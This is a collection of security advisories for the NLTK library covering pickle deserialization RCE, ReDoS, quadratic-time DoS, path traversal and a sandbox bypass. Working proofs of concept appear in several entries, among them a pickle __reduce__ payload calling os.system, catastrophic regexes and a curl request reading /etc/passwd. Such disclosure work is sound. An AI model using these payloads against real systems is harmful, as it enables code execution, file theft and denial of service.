Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Published date: 2026-09-08T16:41:11Z
CVE: CVE-2026-78683
Links:

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl") 3. pickle_load() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment

  • NLTK version: 3.8.1+ (all versions with transitionparser.py)
  • Python 3.6+
  • No special dependencies required

Reproduction

  1. Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.

  2. Call TransitionParser().parse([], '/path/to/malicious_model.pkl').

  3. The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.

  4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from: python model = pickle_load(f) to: python model = pickle_load(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File Line Before After
nltk/parse/transitionparser.py 557 pickle_load(f) pickle_load(f, restricted=True)
nltk/parse/chartparser_app.py 816 pickle_load(model_data_file) pickle_load(model_data_file, restricted=True)
nltk/parse/chartparser_app.py 2273 pickle_load(file) pickle_load(file, restricted=True)
nltk/parse/chartparser_app.py 2311 pickle_load(fp) pickle_load(fp, restricted=True)

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK Vulnerable to REDoS

Published date: 2022-01-06T22:24:14Z
CVE: CVE-2021-3842
Links:

NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions get_pos_tagger and malt_regex_tagger.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5"]
Secure versions: []

NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions

Published date: 2026-09-08T20:28:13Z
CVE: CVE-2026-80205
Links:

Summary

NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.

Affected Code

nltk/text.pyTokenSearcher.findall() (line 255) / Text.findall() (line 620)

TokenSearcher.__init__ builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:

def findall(self, regexp):
    # Preprocessing does NOT prevent catastrophic backtracking
    regexp = re.sub(r"\s", "", regexp)
    regexp = re.sub(r"<", "(?:<(?:", regexp)
    regexp = re.sub(r">", ")>)", regexp)
    regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)

    # User-controlled regexp executed with no timeout
    hits = re.findall(regexp, self._raw)

The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.

Proof of Concept

import nltk
import time

# Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>"
# The trailing '!' ensures no match, forcing full backtracking.
text = nltk.Text(["a" * 25 + "!"])

# Pattern after transformation:
#   <  →  (?:<(?:
#   >  →  )>)
# Becomes: (?:<(?:((a+)+)b)>)
# re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.

start = time.time()
text.findall(r"<((a+)+)b>")   # Never returns

Impact

Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.

Remediation

This vulnerability was patched in commit d8e4753. Users should update to the patched version.

Credit

Tool: Kira by Offgrid Security

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Published date: 2026-08-31T21:31:52Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The tgrepnodeaction function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgreppositions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

Published date: 2026-09-02T14:34:11Z
CVE: CVE-2026-81723
Links:

Summary

XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment) on the full accumulated buffer every iteration. Because each iteration rescans the entire accumulated fragment, the total amount of work grows quadratically with input size.

Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior is separate: the loop calls match() once per 1 KiB block, each time on a longer buffer.

On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds through the public BNCCorpusReader.words() API with no source modification. Absolute timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or iteration count.

Details

File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308

The relevant loop:

fragment = ""
while True:
    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration
    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time
        return fragment
    ...
    last_open_bracket = fragment.rfind("<")
    if last_open_bracket > 0:                      # False for single-'<' payload
        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
            return ...
    # loop continues

For a payload of b'<' + b'a' * (N-1):

  • For this malformed input, _VALID_XML_RE.match(fragment) does not succeed because the unterminated tag prevents the expression from matching before EOF.
  • fragment.rfind("<") returns 0; the guard last_open_bracket > 0 is False, so the backtrack branch is never taken.
  • The only exit is EOF, after all N bytes are consumed.

Affected readers -> readers that rely on XMLCorpusView, including BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader, NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls defusedxml.safe_parse().

PoC

Requires only pip install nltk. No corpus data needed.

from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader

SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
    root = Path(directory)
    malformed = root / "unterminated.xml"
    for kib in SIZES_KIB:
        malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
        t = perf_counter()
        try:
            list(BNCCorpusReader(str(root), [malformed.name]).words())
        except ValueError as e:
            assert "tag not closed" in str(e)
        results.append(perf_counter() - t)

print("KiB      seconds   growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
    ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
    print(f"{kib:5d}  {elapsed:9.3f}  {ratio}")

Runtime should increase by approximately fourfold for each doubling of input size, although absolute timings vary by hardware.

During verification, _VALID_XML_RE.match() was instrumented to record the size of each input. For a 256 KiB malformed file it was invoked 257 times on monotonically increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after EOF. This confirms that every iteration rescans the accumulated fragment.

Impact

Applications that process attacker-controlled XML corpus files through an affected reader are vulnerable. The attacker needs only write access to a path the reader will open. No NLTK credentials or special privileges required. Offline tools reading only trusted local corpora are not at risk.

Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch. Historical inspection indicates the same loop structure has existed since the introduction of XMLCorpusView (2007), but only the listed versions were experimentally verified. No patch exists in any published release.

This issue results in CPU exhaustion and may allow denial of service in applications that process attacker-controlled XML corpus files.

Suggested Fix

Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read. Incremental parsing, bounded fragment accumulation, or another streaming approach would eliminate the quadratic behavior while preserving existing semantics.

A regression test should verify that BNCCorpusReader.words() raises ValueError within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise this path.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Allowlisted pickle loaders still permit code execution in current source

Published date: 2026-08-25T12:31:25Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-x99w-6fgc-pmfw. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer._execute and numpy.f2py.crackfortran.myeval through pickle REDUCE to execute arbitrary commands during model or tokenizer artifact loading.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Published date: 2026-09-08T20:28:28Z
CVE: CVE-2026-80206
Links:

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py_tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement

Published date: 2026-08-25T18:31:52Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-p4rw-rvv2-7xwr. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 contain a path traversal vulnerability in corpus readers that reopen root-derived paths using built-in open() instead of nltk.pathsec.open(), allowing symlinks to escape trusted roots. Attackers who stage symlinked corpus files under a trusted data root can disclose outside-root content through normal corpus reader methods like channels(), domains(), and synonyms().

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'

Published date: 2026-09-02T14:36:15Z
CVE: CVE-2026-81722
Links:

nltk.stem.PorterStemmer.stem() -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).

Root cause

_is_consonant(word, i) was made iterative (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion RecursionError on 'y'*10000. The iterative form walks backward over the whole run of 'y's on every call:

while i > 0 and word[i] == 'y':
    negate = not negate
    i -= 1

_measure() then calls _is_consonant(stem, i) once for every position i of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.

Proof of concept

Measured (Python 3.13): stem('y'*5000 + 'ness') = 2.6s, stem('y'*10000 + 'ness') = 11.3s (2x input -> ~4.3x time = quadratic), stem('y'*20000 + 'ness') > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call _measure do not fire; a real suffix such as 'ness' triggers _measure on the long stem.

from nltk.stem import PorterStemmer
PorterStemmer().stem('y' * 20000 + 'ness')   # >20s of CPU

Impact

Stemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.

Fix direction

Classify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every _is_consonant call, so _measure and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

Published date: 2026-09-08T15:27:32Z
CVE: CVE-2026-63312
Links:

Summary

Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details

nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", **kwargs): validate_path(file, context="pathsec.open") return builtins.open(file, mode=mode, **kwargs)

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size

# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC

# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")
    # fileid is user-controlled, passed directly to StreamBackedCorpusView
    # pathsec.ENFORCE = True is ignored — builtins.open() called internally
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact

  • Type: Arbitrary Local File Read / Security Control Bypass
  • CWE: CWE-22, CWE-284
  • OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK: Allowlisted pickle loaders still permit code execution in current source

Published date: 2026-09-08T16:42:57Z
CVE: CVE-2026-79657
Links:

Summary

The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.

Details

  • Vulnerability type: Remote code execution via unsafe deserialization
  • Affected component: nltk.picklesec.allowlisted_pickle_load, nltk.tokenize.punkt.punkt_pickle_load, nltk.parse.transitionparser.TransitionParser.parse
  • Affected versions: Current source v3.10.0-rc2; published 3.9.4 was not the claim target for this bypass.
  • Patched versions: Not yet patched
  • Root cause: Module-prefix allowlists include dangerous callables such as nltk.tokenize.repp.ReppTokenizer._execute and numpy.f2py.crackfortran.myeval.

punkt_pickle_load() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer._execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlisted_pickle_load(..., allowed_modules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.

PoC

Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.

